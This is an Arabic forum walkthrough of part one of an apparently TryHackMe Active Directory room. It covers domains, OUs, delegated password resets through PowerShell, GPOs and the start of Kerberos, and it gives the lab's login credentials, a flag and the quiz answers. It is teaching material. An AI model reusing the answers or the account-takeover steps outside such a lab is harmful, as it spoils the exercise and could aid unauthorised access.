مضى على الشبكة و يوم من العطاء.
  • تحذير: يجب على كل روّاد الشبكة تشغيل برامج الاختراق داخل الأنظمة الوهمية وهي بهدف التعلم وحماية الأعضاء والتوعية بها

[ WalkTh ] ما هو الـ Active Directory بالتفصيل الجزء الاول | Basics and Breaching

3b0-0d3b0-0d is verified member.

{ || مشرف قسم CTF || }
.:: طاقم المشرفين ::.

السمعة:

a936e45c948fb10f2eec7768c7a32e66.webp

الـ Active Directory يستخدم من قبل حوالي 90% من الشركات الكبيرة حول العالم. إذا كانت الشركة بتستخدم نظام تشغيل Windows من مايكروسوفت ف محتمل جدًا أنها بتستخدم الـ Active Directory , الـ Active Directory من مايكروسوفت هي المجموعة الأساسية لإدارة شبكات الدومين بالـ Windows ولأنها تُستخدم لإدارة الهوية والوصول فهي اكيد هدف رئيسي للمهاجمين وهو ببساطة يبسّط ادارة الاجهزه والمستخدمين داخل الشركه او نحكي الشبكه

وكمان راح نشرح بهاد الدرس طريق يمكن استخدامها لاختراق الـ AD ونقدر نحصل على الـ credentials وطبعا بإمكاننا نستخدم هاي الطرق اما اننا نستهدف انظمه الشركة اللي متصله بالنت او نزرع جهاز مخترق بالشبكة


راح نركز على الامور هاي بهاد الروم


1. ما هو الـ Windows Domains
2. ما هو الـ Active Directory
3. إدارة المستخدمين بالـ Active Directory
4. إدارة الاجهزة بالـ Active Directory
5. تنظيم الـ Group Policies بالـ Active Directory
6. طرق الـ Authentication بالـ Active Directory
7. اداره الـ Treesو Forests بالـ Active Directory
8. مقدمة عن اختراق الـ Active Directory
9. تقنيات اختراق الـ Active Directory
10. مراحل الـ Authentication الـ LLMNR و NBT-NS و WPAD
11. الـ Microsoft Deployment Toolkit
12. الـ Configuration Files




ما هو الـ Windows Domains

تخيل انك بتدير شركه صغيره بتحتوي على 5 اجهزه و 5 موظفين بس بالحاله هاي بتعمل الاعدادات لكل جهاز على حدى بشكل بسيط وبتنشأ حساب لكل جهاز واذا تعطل جهاز او اعداد بتروح وبتصلحه لكن المشكله اذا توسع شغلك او كنت مسؤول عن 200 جهاز و 300 موظف هل راح تقدر تدير كل هاي الاجهزه والاعدادات والمستخدمين واحد واحد لا طبعا

حل هاي المشكله هو الـ
Windows Domains ببساطة هو مجموعة من المستخدمين وأجهزة الكمبيوتر تحت إدارة عمل معين.
الفكرة الأساسية هي تجميع إدارة مكونات شبكة الكمبيوتر بمكان واحد اسمه Active Directory (AD) والخادم يدير خدمات الـ Active Directory هو الـ Domain Controller (DC)


Windows Domain Overview

مزايا الـ Windows Domains

  1. إدارة الهوية المركزية : بأمكانك إعداد جميع المستخدمين على الشبكة بسهولة من خلال الـ Active Directory
  2. إدارة سياسات الأمان : بأمكانك تضبط سياسات الأمان مباشرة من الـ Active Directory وتطبيقها على المستخدمين وأجهزة الكمبيوتر حسب الحاجة.

مثال واقعي

اذا تعاملت قبل مع الـ Windows Domains بمدرستك أو بجامعتك أو بعملك بتحصل عادة على اسم مستخدم وكلمة مرور بامكانك تستخدمهم على أي جهاز كمبيوتر متاح بالمكان بتكون هاي البيانات صالحة على جميع الأجهزة لأن عملية التحقق تتم عبر الـ Active Directory, بفضل الـ Active Directory ما بتحتاج تكون بياناتك موجوده على كل الاجهزه

وايضا الـ Active Directory بأمكانه يقييد وصولك لبعض الأجزاء من النظام مثل لوحة التحكم على أجهزة مدرستك أو جامعتك



عندنا مثال بنفترض دور مسؤول تكنولوجيا المعلومات الجديد بشركة THM Inc

طُلب منا مراجعة النطاق الحالي THM.local وإجراء بعض التعديلات

بالمثال راح نحصل على بيانات دخول إدارية على خادم Domain Controller مسبق التكوين لأداء المهام

لتبدأ المثال بنضغط على زر Start Machine لفتح الجهاز بمتصفحك إذا كنت تفضل الاتصال عبر RDP استخدم البيانات التالية :

  • اسم المستخدم: Administrator
  • كلمة المرور: Password321

ملاحظة: عند الاتصال عبر RDP استخدم THM\Administrator لتحديد أنك تريد تسجيل الدخول باستخدام المستخدم Administrator في نطاق THM
طبعا عشان نتصل عن طريق الـ RDP بنشغل الـ vpn اللي من TryHackMe عشان نتصل على الشبكه الخاصه فيهم وبنشغل المشين وبعدها بنفتح على ويندوز الـ Remote Desktop Connection وبنحط الـ ip وبنعمل conn


أين تُخزن بيانات الدخول في نطاق ويندوز؟
Active Directory
ما اسم الخادم المسؤول عن تشغيل خدمات Active Directory؟
Domain Controller

ما هو الـ Active Directory


الـ Active Directory هو نظام أساسي مهم في أي شبكة Windows بقدّم خدمات تسمى AD | DS وهي تخزن معلومات كل الـ objects الموجودة بالشبكة مثل المستخدمين والمجموعات والأجهزة والطابعات وغيرها

نستعرض بعضها:


المستخدمين

المستخدمين هم من أكثر أنواع الـ objects شيوعًا بالـ Active Directory , المستخدمين هم أحد الـ objects المعروفة باسم security principals ، يعني يمكن التحقق من هويتهم بواسطة الدومين ويمكن تخصيص صلاحيات لهم على الموارد مثل الملفات أو الطابعات بأمكانك تحكي أن الـ security principal هو object بأمكانه يشتغل او يعمل على الموارد بالشبكة
المستخدمين : الأشخاص اللي بدخلوا على الشبكة وممكن يكونوا :
  • الأشخاص : مثل الموظفين اللي بحتاجوا يوصلو للشبكة
  • الخدمات : مثل IIS أو MSSQL وهاي بتحتاج لحساب مستخدم خاص فيها عشان تشتغل

الأجهزة


الأجهزة هي نوع آخر من الـ objects داخل الـ Active Directory لكل كمبيوتر بنضم لدومين الـ Active Directory يتم إنشاء object له
الأجهزة تعتبر أيضًا security principal ويتم تخصيص حساب الها تمامًا مثل أي مستخدم عادي هاد الحساب اله حقوق محدودة إلى حد ما داخل الدومين نفسه

  • الأجهزة: لكل جهاز بنضم للشبكة يُنشأ له حساب خاص بالـ Active Directory هاي الحسابات بتكون مشابهة لحسابات المستخدمين ولكن بقدرات محدودة عادة غير ممكن لاي أحد يدخل لحسابات الأجهزة ( يعني حساب المسؤول ) إلا من الجهاز نفسه لكن إذا كان عندك كلمة المرور بإمكانك الدخول

حسابات الأجهزة نفسها هي مسؤولي النظام المحليين على الكمبيوتر المعين بشكل عام لا يُفترض أن يتم الوصول إليها من قبل أي شخص باستثناء الكمبيوتر نفسه، ولكن كما هو الحال مع أي حساب آخر، إذا كان لديك كلمة المرور، يمكنك استخدامها لتسجيل الدخول.

ملاحظة: يتم تدوير كلمات مرور حسابات الأجهزة تلقائيًا وتتكون عادة من 120 حرفًا عشوائيًا. يمكن التعرف على حسابات الأجهزة بسهولة لانها بتتبع نمط تسمية معين , اسم حساب الجهاز هو اسم الكمبيوتر متبوعًا بعلامة الدولار مثلا جهاز اسمه DC01 بكون عنده حساب يسمى DC01$

إذا كنت بتعرف Windows منيح بتعرف أنه بإمكانك تعمل تعريف لمجموعات المستخدمين لتخصيص حقوق الوصول لـ الملفات أو الموارد الأخرى لمجموعات كاملة بدلاً من مستخدمين منفردين. هاد بسمح بإدارة أفضل حيث بإمكانك تضيف المستخدمين إلى مجموعة موجودة وبرثو تلقائيً جميع حقوق المجموعة , مجموعات الأمان تعتبر أيضًا
security principals ، ولذلك يمكن أن تكون لها صلاحيات على الموارد بالشبكة.
يمكن أن تضم المجموعات كل من المستخدمين والأجهزة كأعضاء. إذا لزم الأمر، يمكن أن تضم المجموعات مجموعات أخرى أيضًا.
يتم إنشاء عدة مجموعات بشكل افتراضي في الدومين يمكن استخدامها لمنح صلاحيات محددة للمستخدمين. على سبيل المثال، هنا بعض من أهم المجموعات بالدومين :


مجموعة الأمانالوصف
الـ Domain Adminsالمستخدمون بالمجموعة هاي عندهم صلاحيات إدارية على كامل الدومين. افتراضيًا، يمكنهم إدارة أي كمبيوتر في الدومين، بما في ذلك أجهزة التحكم في الدومين (DCs).
الـ Server Operatorsالمستخدمون بالمجموعة هاي بإمكانهم إدارة أجهزة التحكم بالدومين. لا يمكنهم تغيير عضوية أي مجموعة إدارية.
الـ Backup Operatorsالمستخدمون بالمجموعة هاي بإمكانهم الوصول إلى أي ملف، متجاهلين صلاحياته. يستخدمون لأخذ نسخ احتياطية من البيانات على أجهزة الكمبيوتر.
الـ Account Operatorsالمستخدمون بالمجموعة هاي بإمكانهم إنشاء أو تعديل الحسابات الأخرى في الدومين.
الـ Domain Usersتشمل جميع حسابات المستخدمين الموجودة في الدومين.
الـ Domain Computersتشمل جميع أجهزة الكمبيوتر الموجودة في الدومين.
الـ Domain Controllers تشمل جميع أجهزة التحكم في الدومين الموجودة في الدومين.

يمكنك الحصول على القائمة الكاملة لمجموعات الأمان الافتراضية من Microsoft documentation

عشان نقدر نكوّن المستخدمين والمجموعات أو الأجهزة بالـ Active Directory لازم ندخل على الـ Domain Controller ونشغل الـ Active Directory Users and Computers :

1719911234765.webp


هاد بفتحلنا نافذة بنقدر نشوف فيها هيكل المستخدمين والأجهزة والمجموعات اللي موجودة بالدومين

الامور هاي مقسمة بوحدات تنظيمية (OUs) اللي هي عبارة عن حاويات بتسمحلك تصنف المستخدمين والأجهزة.

الوحدات التنظيمية هاي عادةً بنستخدمها عشان نحدد مجموعات من المستخدمين اللي عندهم نفس متطلبات السياسات. الناس اللي بقسم المبيعات في شركتك غالبًا بكون عندهم مجموعة سياسات مختلفة عن الناس اللي بقسم تقنية المعلومات مثلاً. خلي ببالك إن المستخدم ممكن يكون بجزء من وحدة تنظيمية وحدة بس بنفس الوقت

لو شفنا عننا بنلاقي فيه وحدة تنظيمية اسمها THM ومعاها أربع وحدات تنظيمية فرعية لقسم تقنية المعلومات الإدارة التسويق والمبيعات.


1719911517533.webp

الوحدات التنظيمية عاده بتكون متشابهة لبنية العمل عشان يسهل علينا نطبق السياسات اللي تنطبق على الأقسام كلها هاد النموذج المتوقع أغلب الوقت بس بإمكاننا نحدد الوحدات التنظيمية بأي طريقة بنحبها
ممكن تعمل كليك يمين على وحدة THM وتعمل وحدة تنظيمية جديدة تحتها باسم Students مثلا ...

لو فتحت أي وحدة تنظيمية بتقدر تشوف المستخدمين اللي فيها وتعمل مهام بسيطة زي إنشاء حذف أو تعديلهم حسب الحاجة. بتقدر كمان تعيد تعيين كلمات المرور لو احتجت (وهاد مفيد جدًا لقسم الدعم الفني)


1719911621781.webp

ممكن تكون لاحظت إنه فيه حاويات افتراضية تانية غير وحدة THM. الحاويات هاي بعملها Windows تلقائيًا وبتحتوي على الآتي :

  • الـ Builtin : فيها المجموعات الافتراضية اللي متاحة لأي جهاز Windows .
  • الـ Computers : أي جهاز بنضم للشبكة بنحط هنا بشكل افتراضي. بتقدر تحركهم لو احتجت.
  • الـ Domain Controllers : وحدة تنظيمية افتراضية بتحتوي على وحدات تحكم الدومين في شبكتك.
  • الـ Users : المستخدمين والمجموعات الافتراضية اللي بتنطبق على مستوى الدومين كله.
  • الـ Managed Service Accounts : فيها الحسابات اللي بتستخدمها الخدمات بدومين Windows الخاص فيك


المجموعات الأمنية مقابل الوحدات التنظيمية

ممكن تتساءل ليه عننا مجموعات ووحدات تنظيمية. رغم إن الاثنين بستخدموا لتصنيف المستخدمين والأجهزة، لكن أغراضهم مختلفة تمامًا:

  • الوحدات التنظيمية : بنستخدمها لتطبيق السياسات على المستخدمين والأجهزة، اللي بتشمل تكوينات محددة بتنطبق على مجموعات المستخدمين حسب دورهم بالمؤسسة. زي لما حكينا إن المستخدم بكون عضو بوحدة تنظيمية وحدة بس بنفس الوقت عشان مش منطق نحاول نطبق مجموعتين مختلفتين من السياسات على مستخدم واحد 🫠.

  • المجموعات الأمنية: بنستخدمها عشان نعطي صلاحيات للوصول للموارد. مثلاً، لو بدك تسمح لبعض المستخدمين بالوصول لمجلد مشترك أو طابعة شبكة , المستخدم ممكن يكون عضو بمجموعات كثيرة وهاد مطلوب عشان نعطيهم صلاحية للوصول لأكتر من مورد


من يدير جميع الأجهزة والموارد في الشبكة؟
Domain Admins
ما اسم حساب الجهاز المرتبط بجهاز يسمى TOM-PC؟
$TOM-PC
إذا أنشأنا قسم جديد لجودة الضمان، ما النوع المناسب من الحاويات لتجميع كل مستخدمي القسم لتطبيق السياسات عليهم بشكل متناسق؟
Organizational Units





إدارة المستخدمين بالـ Active Directory


سيناريو:

مهمتك الأولى كمسؤول Domain جديد هي التحقق من وجود وحدات التنظيم الإداري (OUs) والمستخدمين الحاليين بالـ AD ، نظرًا لحدوث بعض التغييرات الأخيرة بالشركة تم تزويدك بالرسم البياني التنظيمي التالي ومن المتوقع أن تقوم بإجراء تغييرات بالـ AD لتتوافق معه :
الرسم البياني التنظيمي لشركة THM

THM Organisational Chart




حذف الـ OUs والمستخدمين الزائدين
أول شيء يجب ملاحظته هو أن هناك وحدة تنظيمية إضافية في تكوين AD الحالي لا تظهر بالرسم البياني. تم إغلاقها بسبب تخفيضات الميزانية ويجب إزالتها من النطاق. إذا حاولت النقر بزر الماوس الأيمن وحذف الـ OU ، ستحصل على رسالة خطأ تفيد :
1719913276503.webp

بشكل افتراضي، تكون الـ OU'S محمية ضد الحذف العرضي. لحذف الـ OU، بنحتاج لتمكين الميزات المتقدمة في قائمة View > تمكين الميزات المتقدمة

1719913367012.webp

بظهرلك بعض الحاويات الإضافية وبإمكانك تعمل تعطيل من حماية الحذف العرضي الها عن طريق الظغط على زر الماوس الأيمن على OU واذهب إلى الخصائص. ستجد خانة الاختيار في خانه الـ object لتعطيل الحماية:

1719913451558.webp

تأكد من إلغاء التحديد وحاول حذف OU مرة أخرى سيُطلب منك تأكيد رغبتك في حذف الـ OU ونتيجة لحذفها سيتم حذف أي مستخدمين أو مجموعات أو OUs تحتها أيضًا.

بعدها لازم نتاكد من المستخدمين اللي بالاقسام بنلاحظ أن بعض الأقسام المستخدمين في AD ما يتطابقون مع اللي موجودة بالرسم البياني التنظيمي اللي عننا ف بنعمل إنشاء وحذف المستخدمين حسب الحاجة لمطابقتهم.

هون بنمحي المستخدمين الزياده

1719913934600.webp
1719913899191.webp
1719913859864.webp


التفويض
أحد الأشياء الجيدة التي بإمكانك القيام بها بالـ AD هو منح مستخدمين محددين بعض التحكم ببعض الـ OUs. تعرف العملية هاي باسم التفويض وبتسمحلك تمنح مستخدمين صلاحيات محددة لأداء مهام متقدمة على OUs دون الحاجة إلى تدخل الـ Domain Administrator.

أحد أكثر حالات الاستخدام شيوعًا لهذا هو منح فريق الدعم تقني صلاحيات إعادة تعيين كلمات مرور المستخدمين ذوي الصلاحيات المنخفضة. وفقًا لرسمنا التنظيمي يتولى فيليب مسؤولية الدعم تقني، لذا من المحتمل أن نرغب في منحه التحكم في إعادة تعيين كلمات المرور لأقسام المبيعات والتسويق والإدارة.

عشان نمنح فيليب التحكم بالـ OU للمبيعات، بأمكاننا النقر بزر الماوس الأيمن عليها واختيار Delegate Control:


1719914377245.webp

يجب أن تفتح نافذة جديدة تُطلب منك أولاً تحديد المستخدمين الذين ترغب في منحهم التحكم:

1719914467452.webp
\بنكتب اسمه بعدها بنكبس على Check
1719915110775.webp
بعدها نعطيه صلاحيه تغير الباسورد
1719915223324.webp
والآن يجب أن يكون فيليب قادرًا على إعادة تعيين كلمات المرور لأي مستخدم في قسم المبيعات. بينما قد ترغب في تكرار هذه الخطوات لمنح إعادة تعيين كلمات المرور لأقسام التسويق والإدارة
الآن دعونا نستخدم حساب فيليب لمحاولة إعادة تعيين كلمة مرور سوفي.

إليك بيانات اعتماد فيليب لك تسجيل الدخول عبر RDP:


اسم المستخدم phillip
كلمة المرور Claire2008

ملاحظة: عند الاتصال عبر RDP، استخدم THM\phillip كاسم مستخدم لتحديد أنك تريد تسجيل الدخول باستخدام المستخدم فيليب على نطاق THM


1719915651560.webp

بينما قد تميل إلى الذهاب إلى أدوات مستخدمي Active Directory ومحاولة اختبار صلاحيات فيليب الجديدة، ف بنشوف انه ما اله صلاحيات لفتحها ، عشان هيك بتعين علينا نستخدم طرق ثانيه لإعادة تعيين كلمات المرور.

بهاي الحالة، بنستخدم الـ Powershell :


كود:
PS C:\Users\phillip> Set-ADAccountPassword sophie -Reset -NewPassword (Read-Host -AsSecureString -Prompt 'New Password') -Verbose

New Password: *********

VERBOSE: Performing the operation "Set-ADAccountPassword" on target "CN=Sophie,OU=Sales,OU=THM,DC=thm,DC=local".


.نظرًا لأننا لا نرغب في أن يستمر استخدام سوفي لكلمة مرور نعرفها، يمكننا أيضًا فرض إعادة تعيين كلمة المرور في تسجيل الدخول التالي باستخدام الأمر التالي:


كود:
PS C:\Users\phillip> Set-ADUser -ChangePasswordAtLogon $true -Identity sophie -Verbose

VERBOSE: Performing the operation "Set" on target "CN=Sophie,OU=Sales,OU=THM,DC=thm,DC=local".


1719916470102.webp

بنسجل دخول لحساب سوفي باستخدام كلمة المرور الجديدة اللي حطيناها وبنلاقي الحل على سطح مكتب سوفي.

ملاحظة: عند الاتصال عبر RDP، استخدم THM\sophie كاسم مستخدم لتحديد أنك تريد تسجيل الدخول باستخدام المستخدم سوفي على نطاق THM.


هاي هي الخطوه الثانيه اللي عملناها

1719916594014.webp



1719916671604.webp

ما هو العلم الموجود على سطح مكتب صوفي؟
THM{thanks_for_contacting_support}
تسمى عملية منح الامتيازات لمستخدم عبر بعض الوحدات التنظيمية أو كائنات AD الأخرى...
delegation







إدارة الاجهزة بالـ Active Directory

بشكل افتراضي تُضاف جميع الأجهزة اللي بتنضم لنطاق معين (باستثناء المراكز التحكم الرئيسية) إلى حاوية تسمى Computers
إذا تحققنا من مركز التحكم الرئيسي بنلاقي انه بعض الأجهزة موجودة هناك :


حاوية Computers OU

لما نفوت عليها بنلاقي خوادم وأجهزة محمولة وأجهزة كمبيوتر التي بتتناسب مع المستخدمين بشبكتنا , طبعا وضع كل الأجهزة هون فكرة مش منيحه لأنه اكيد بدك تطبق سياسات على كل نوع منهم ف ما رح تطبق نفس السياسات للخوادم والأجهزة اللي بستخدمها المستخدمون العاديون يوميًا.


1719995883747.webp

نقطة البداية الممتازة هي نفصل الأجهزة حسب استخدامها. بشكل عام ممكن نشوف الاجهزه مقسمه لثلاث فئات :

  1. الأجهزة العملية (workstation)
من المتوقع أن يقوم كل مستخدم في النطاق بتسجيل الدخول ل workstation ,هذا هو الجهاز الذي سيستخدمونه لأداء أعمالهم أو للتصفح العادي. لا يجب أبدًا أن يكون هناك مستخدم مؤهل مسجل على هذه الأجهزة. وهي الأكثر شيوعًا
  1. الخوادم (Servers)
تُستخدم الخوادم عادةً لتوفير الخدمات للمستخدمين أو لخوادم أخرى.
  1. مراكز التحكم الرئيسية (Domain Controllers)
بتتيحلك مراكز التحكم الرئيسية لإدارة نطاق الـ Active Directory , تعتبر هاي الاجهزه من أكثر الأجهزة حساسية ضمن الشبكة لأنها بتحتوي على كلمات مرور مشفرة لجميع حسابات المستخدمين داخل الـ environment .

نكمل السناريو
مش احنا بننظم الـ AD الخاص فينا بننشئ مجموعتين منفصلتين للأجهزة: مجموعة للأجهزة العملية وأخرى للخوادم (مراكز التحكم الرئيسية بالفعل في مجموعة أنشأتها Windows). بننشئهم تحت النطاق thm.local



1719997378698.webp

الآن بس بننقل أجهزة الكمبيوتر الشخصية وأجهزة الكمبيوتر المحمولة لقسم الـ workstation والخوادم لقسم الـ servers من قسم الـ Computers , بتيحلنا هاد اللي عملناه تكوين السياسات لكل قسم لحال

بعد ما ننشئ قسمين وننقل عليهم الاجهزه


1719997637737.webp

بعد تنظيم أجهزة الكمبيوتر المتاحة، كم عدد أجهزة الكمبيوتر التي انتهى بها الأمر في الوحدة التنظيمية لمحطات العمل؟
7
هل يوصى بإنشاء وحدات تنظيمية منفصلة للخوادم ومحطات العمل؟ (yay/nay)
yay





تنظيم الـ Group Policies بالـ Active Directory

حتى الآن نظمنا المستخدمين وأجهزة الكمبيوتر بوحدات تنظيمية (OUs) الفكرة الاساسية هي انو نضع سياسات مختلفة لكل وحدة تنظيمية بشكل فردي. هيك بإمكاننا نطبق تكوينات وسياسات للأمان مختلفة للمستخدمين حسب إداراتهم.

إدارة السياسات عبر الـ Group Policy Objects (GPO)

الـ GPOs هي ببساطة مجموعة من الإعدادات اللي ممكن تطبيقها على الوحدات التنظيمية. ممكن تحتوي الـ GPOs على سياسات بتستهدف إما المستخدمين أو أجهزة الكمبيوتر

كيفية تكوين الـ GPOs


1719997917983.webp
لتكوين الـ GPOs بإمكانك تستخدم أداة Group Policy Management

بس نفتح الأداة بظهرلك هيكلية الوحدات التنظيمية الكاملة اللي شفناها قبل

عشان ننشئ سياسة جديدة

بننشئها تحت الـ Group Policy Objects بعدها بنربطها بالوحدة التنظيمية اللي بدنا نطبق السياسات هاي عليها

مثلا في ثلاث سياسات موجودة بالفعل بالجهاز : Default Domain Policy و RDP Policy و Default Domain Controllers Policy



1719998735052.webp

سياسات Default Domain Policy و RDP Policy مرتبطة بنطاق thm.local كامل ، بينما سياسة Default Domain Controllers Policy مرتبطة بوحدة Domain Controllers فقط.

1719998819216.webp
1719998863593.webp

1719998885205.webp


تطبيق GPOs على الوحدات التنظيمية الفرعية:
أي GPO مرتبطة بوحدة تنظيمية بتنطبق على أي وحدات تنظيمية فرعية تحتها يعني وحدة Sales بتنطبق عليها سياسة Default Domain Policy

1719999733071.webp

تحليل GPO

بنفتح على سياسة Default Domain Policy ، لما نختارها بظهر الـ (scope) اللي بتظهر مكان الـ linked الـ GPO بالـ (AD) بهاي الحاله تم ربطها بس بنطاق الـ thm.local


Screenshot 2024-07-03 124649.webp

الـ Security Filtering بالـ GPO

بامكاننا نطبق الـ Security Filtering على الـ GPOs بحيث تنطبق فقط على المستخدمين/الكمبيوترات المحددة ضمن وحدة تنظيمية ( او قسم معين يعني ).
افتراضيًا، بتنطبق على مجموعة المستخدمين المصادق عليهم ( Authenticated Users ) اللي بتشمل كل المستخدمين/الكمبيوترات.


Screenshot 2024-07-03 133012.webp

الإعدادات بالـ GPO

تحتوي الإعدادات على محتويات الـ GPO الفعلية وبتتيحلنا نعرف التكوينات المحددة اللي بتنطبق , بتحتوي كل الـ GPO على تكوينات بتنطبق على الكمبيوترات بس وتكوينات بتنطبق على المستخدمين بس.

بهاي الحالة بتحتوي سياسة الـ Default Domain Policy على تكوينات الكمبيوتر فقط.


1720021777187.webp

تغيير إعدادات الـ GPO

لتغيير سياسة طول كلمة المرور الأدنى مثلا

اتبع الخطوات التالية:


بنظغط كلك يمين على الـ GPO وبنختار Edit
بعدها بنروح لـ Computer Configurations -> Policies -> Windows Setting -> Security Settings -> Account Policies -> Password Policy

بعدها بنغير قيمة السياسة المطلوبة (مثل طول كلمة المرور الأدنى).

1720022357419.webp

استكشاف المزيد من السياسات

هناك العديد من السياسات التي يمكن تكوينها في الـ GPO. يمكنك استكشاف المزيد من السياسات المتاحة والتفاصيل الخاصة بها بالنقر المزدوج عليها وقراءة علامة تبويب التفسير (Explain) لكل منها.


1720022627087.webp
1720022637622.webp

1720022648069.webp



الـ GPOs بتتوزع على الشبكة عن طريق مكان للمشاركة بالشبكة اسمه SYSVOL اللي موجود بالـ Domain Controller (DC)
كل المستخدمين اللي بالدومين المفروض بقدروا يوصلوا للمكان هاد عن طريق الشبكة عشان يقدروا يحدثوا الـ GPOs تاعتهم بشكل دوري , المكان هاد بشكل افتراضي بكون بمسار : \C:\Windows\SYSVOL\sysvol على كل الـ
DCs بالشبكة

لما ينعمل أي تغيير بالـ GPOs ، ممكن ياخذ لحد ساعتين عشان الأجهزة تحدث الـ GPOs الجديدة لو بدك تجبر جهاز معين يحدث الـ GPOs فوراً ، ممكن تشغل الأمر هاد على الجهاز المطلوب :


كود:
PS C:\> gpupdate /force


إنشاء بعض GPOs لشركة THM Inc

في شغلنا الجديد عننا مهمة إننا نطبق شوية GPOs عشان :

1. نمنع المستخدمين غير الـ IT انهم يوصلو للوحة التحكم (Control Panel)
2. نخلي أجهزة الـ workstations و servers تقفل الشاشة تلقائياً بعد 5 دقائق من عدم النشاط عشان ما يتركو الجلسات مفتوحة

راح نركز على كل وحدة ونحدد السياسات اللي راح نفعلها بكل الـ GPO وأماكن ربطها

تقييد الوصول للوحة التحكم

بدنا نمنع الوصول للوحة التحكم على كل الأجهزة إلا للمستخدمين اللي بقسم الـ IT المستخدمين اللي بالأقسام الثانية غير مسموح الهم يغيروا إعدادات النظام

بننشئ GPO جديد اسمه Restrict Control Panel Access وبنفتحه عشان نعدل عليه بما إننا بدنا الـ GPO يتطبق على مستخدمين محددين بنبحث عند الـ User Configuration على السياسة هاي :



1720039898981.webp

1720039237868.webp



نجدها هنا
11347

1720039662950.webp


نقوم بتفعيل هذه السياسه
1720039704574.webp

وهسا بس بنسحبها لكل الاقسام اللي بدنا نمنع عنهم الـ Control Panel
بنلاحظ اننا ما حطيناها بقسم الـ lT لانو احنا بدنا نخليلهم صلاحيه للـ Control Panel


1720040033704.webp

الـ GPO لقفل الشاشة تلقائياً


بإمكاننا نطبقها مباشرة على الـ OUs تاعة الأجهزة والسيرفرات والـ Domain Controllers اللي عملناها قبل

رغم إن هاد الحل بزبط وفي برضو حل بديل وهو إننا نطبق الـ GPO على الدومين الرئيسي لأننا بدنا الـ GPO يأثر على كل أجهزتنا , بما إن الـ OUs تاعة الـ workstations و servers والـ Domain Controllers كلها وحدات فرعية من الدومين الرئيسي ف راح تورث السياسات اللي بالدومين الرئيسي

ملاحظة: لو الـ GPO تم تطبيقه على الدومين الرئيسي بتم وراثته برضو بالـ OUs الثانية زي التسويق والمبيعات بما إن الـ OUs دي بتحتوي على مستخدمين بس أي تكوينات بتخص الكمبيوتر في الـ GPO خاص فينا هتتجاهلهم.

بننشئ GPO جديد وبنسميه Auto Lock Screen وبنعدله

بأمكاننا نبحث على قوقل عن auto lock screen location in ad policy وبنطلعلنا المسار او بنفوت على الخيارات من اسمها ممكن تعرف وين ممكن تلاقيها
السياسة اللي راح نستخدمها موجودة بالمسار هاد :


1720082578342.webp


هنحدد حد عدم النشاط بـ 5 دقائق علشان الأجهزة تقفل تلقائياً لو أي مستخدم ترك جلسته مفتوحة بعد ما نسكر محرر الـ GPO ، هنربط الـ GPO بالدومين الرئيسي عن طريق سحب الـ GPO ليه.

بطلب مننا العدد بالثواني​

نجد معلومات عن هذه البولسي​

1720082699323.webp

1720082633708.webp

1720082654016.webp




التحقق من تطبيق GPOs

بعد ما نطبق الـ GPOs على الـ OUs الصحيحة، بنقدر نسجل الدخول بأي مستخدم من التسويق أو المبيعات أو الإدارة عشان نتأكد

عشان نعمل هيك بنستخدم RDP وبنسجل دخول باستخدام بيانات مارك مثلا :

اسم المستخدم: Mark
كلمة المرور: M4rk3t1ng.21

ملاحظة: لما نستخدم RDP ، استخدم THM\Mark كاسم المستخدم علشان تحدد إنك عايز تسجل دخول كمستخدم مارك في دومين THM

لو حاولنا نفتح لوحة التحكم بتطلعلنا رسالة مكتوب فيها إنو الوصول ممنوع من المسؤول كمان ممكن نستنا 5 دقائق عشان نتأكد إن الشاشة بتتسكر تلقائي

بما إننا ما طبقنا الـ GPO تاعة لوحة التحكم على الـ IT بنقدر نسجل دخول لأي جهاز كمستخدمين من الـ IT وندخل لوحة التحكم عادي

ملاحظة: لو أنشأت وربطت الـ GPOs لكن لأي سبب ما اشتغلت اتذكر إنك بتقدر تشغل gpupdate /force عشان تجبره بتحديث الـ GPOs




ما اسم مشاركة الشبكة المستخدمة لتوزيع كائنات نهج المجموعة (GPO) على أجهزة المجال؟
SYSVOL
هل يمكن استخدام كائن نهج المجموعة (GPO) لتطبيق الإعدادات على المستخدمين وأجهزة الكمبيوتر؟ (ياي / لا)
yay







طرق الـ Authentication بالـ Active Directory


عند استخدام Windows domains يتم تخزين جميع بيانات الاعتماد بالـ Domain Controllers لما يحاول المستخدم المصادقة على خدمة باستخدام بيانات اعتماد الـ Domain بتحتاج الخدمة انها تتحقق من صحتها من خلال الـ Domain Control في بروتوكولين يمكن استخدامهما للمصادقة على الشبكة بنطاقات الـ Windows :

1. الـ Kerberos : يستخدم في أي إصدار حديث من الـ Windows وهو البروتوكول الافتراضي بأي نطاق حديث
2. الـ NetNTLM : بروتوكول مصادقة قديم يتم الاحتفاظ به لأغراض التوافق

على الرغم من أن الـ NetNTLM يعتبر قديم فإن معظم الشبكات بتحتوي على البروتوكولين الثنين مفعلين

نفصّل طريقه عمل كل من البروتوكولين


الـ Kerberos Authentication

هو بروتوكول المصادقة الافتراضي لأي إصدار حديث من Windows لما يسجل المستخدم دخوله لخدمة باستخدام Kerberos بتم تخصيص tickets اله ( فكّر في التذاكر كإثبات لمصادقة سابقة ) بإمكان المستخدمين اللي معهم ticket يقدموها للخدمة عشان يبينولها أنهم عملو مصادقة قبل على الشبكة وبالتالي بإمكانهم يستخدموها


لما نستخدم الـ Kerberos للمصادقة بتحدث العمليات التالية :

1. برسل المستخدم اسم المستخدم الخاص فيه و طابع زمني ( timestamp مشفر باستخدام مفتاح مشتق من كلمة المرور ) إلى Key Distribution Center (KDC)
وهي خدمة يتم تثبيتها على الـ Domain Controller المسئول عن إنشاء تذاكر Kerberos على الشبكة


2. يقوم الـ KDC بإنشاء وإرسال Ticket Granting Ticket (TGT) التي بتسمح للمستخدم بطلب تذاكر إضافية للوصول إلى خدمات محددة كما يتم إعطاؤه الـ Session Key اللي بحتاجه لتوليد الطلبات التالية
ممكن يكون الموضوع هاد غريب لكنها بتتيح للمستخدمين بطلب تذاكر الخدمة بدون ما يدخلو بياناتهم بكل مره بدهم يتصلو بخدمة معينة

زي ما حكينا الـ TGT مشفرة باستخدام كلمة مرور حساب krbtgt وبالتالي لا يمكن للمستخدم الوصول إلى محتوياتها , من المهم نعرف أن الـ TGT المشفرة بتتضمن نسخة من الـ Session Key كجزء من محتوياتها و KDC مش بحاجه انه يخزن الـ Session Key لأنه بإمكانه يستعيده بفك تشفير الـ TGT عند الحاجة



الخطوتين موضحات بالصورة


Kerberos step 1

